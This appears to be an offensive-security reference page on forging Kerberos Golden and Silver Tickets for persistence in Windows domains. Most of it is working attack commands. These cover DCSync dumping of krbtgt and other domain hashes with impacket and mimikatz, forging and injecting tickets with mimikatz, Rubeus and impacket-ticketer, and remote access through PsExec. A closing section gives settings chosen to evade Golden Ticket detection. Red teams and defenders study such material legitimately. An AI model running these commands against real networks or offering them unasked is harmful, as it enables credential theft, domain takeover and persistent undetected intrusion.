# Windows Golden and Silver Ticket Persistence

> Covers Kerberos-based persistence via forged Golden (krbtgt) and Silver (service) tickets, enabling long-term domain access without valid credentials.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-golden-and-silver-ticket-persistence
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-10

Golden and Silver Tickets are forged Kerberos tickets that give persistent authenticated access bypassing standard authentication flows:

- Golden Ticket: forged TGT signed with the `krbtgt` hash, grants access to any service in the domain, valid until the `krbtgt` password is changed twice
- Silver Ticket: forged TGS for a specific service, signed with that service account's hash, never touches the domain controller during authentication

Both require prior compromise of the relevant account hashes.

## Obtaining the krbtgt hash

A Golden Ticket requires the `krbtgt` account's NT hash and the domain SID. Both come from a DCSync attack, which requires Domain Admin or specific replication rights on the domain controller.

**DCSync: dump krbtgt hash**

```bash
# DCSync from Linux with impacket (requires Domain Admin or replication rights)
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc-user krbtgt

# With hash
impacket-secretsdump $DOMAIN/$USER@$DC_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc-user krbtgt

# Dump all domain hashes (full DCSync)
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
```

**DCSync from Windows with mimikatz**

```powershell
# DCSync attack: pulls hashes directly from DC replication
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:krbtgt" exit

# Get domain SID (needed for ticket forging)
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator" exit
# Look for 'Object Security ID' in output

# Alternatively get SID with built-in tools
Get-ADDomain | Select-Object DomainSID
whoami /user  # SID of current user: strip last segment for domain SID
```

## Forging a Golden Ticket

With the `krbtgt` hash and domain SID, you can forge a TGT for any user including accounts that do not exist. The ticket is valid for 10 years by default and works until `krbtgt` is rotated twice.

**Forge and inject Golden Ticket with mimikatz**

```powershell
# Forge ticket and inject into current session (/ptt = pass-the-ticket)
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /ptt" exit

# Verify ticket is loaded
klist

# Access any service in the domain
dir \\dc01.$DOMAIN\C$
PsExec.exe \\dc01.$DOMAIN cmd.exe
```

**Forge Golden Ticket with Rubeus**

```powershell
# Forge and inject
C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_HASH /ptt

# Save to file for later use
C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_HASH /outfile:golden.kirbi
```

**Forge Golden Ticket from Linux with impacket**

```bash
# Get domain SID first
impacket-getPac $DOMAIN/$USER:$PASSWORD -targetUser Administrator

# Forge ticket
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator

# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@dc01.$DOMAIN -k -no-pass
```

## Silver Ticket: service-specific persistence

A Silver Ticket targets one specific service. It is signed with the service account's hash rather than `krbtgt`, so it does not require DC interaction to use and is harder to detect. Common targets: `cifs` for SMB file access, `host` for task scheduling, `http` for WinRM.

**Forge Silver Ticket with mimikatz**

```powershell
# Get target service account hash first (e.g. machine account hash for CIFS)
# Machine account hash comes from secretsdump or lsadump

# Forge Silver Ticket for CIFS (SMB file access) on target host
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:cifs /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit

# Forge for HOST service (allows task scheduling, PSexec-style access)
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:host /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit

# Forge for HTTP (WinRM access)
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:http /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit

# Use after injection
dir \\$TARGET_IP\C$
```

## Detecting and evading Golden Ticket detection

Modern defenses flag Golden Tickets with unusually long lifetimes (default mimikatz value is 10 years) and tickets for users not present in PAC validation. To reduce detection, set the ticket lifetime to match the domain default (10 hours) and use an existing valid username.

**Golden Ticket with realistic settings**

```powershell
# Set ticket lifetime to 10 hours, renewal to 7 days: matches domain defaults
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

# Use AES256 key instead of RC4: less detectable
# AES256 key from dcsync: look for 'aes256_hmac' in secretsdump output
mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /aes256:$AES256_KEY /ptt" exit
```

## References

- [mimikatz: GitHub](https://github.com/gentilkiwi/mimikatz) - kerberos::golden, lsadump::dcsync full reference
- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - golden, silver, and ticket manipulation commands
- [Impacket ticketer: GitHub](https://github.com/fortra/impacket) - Linux-based Golden and Silver Ticket forging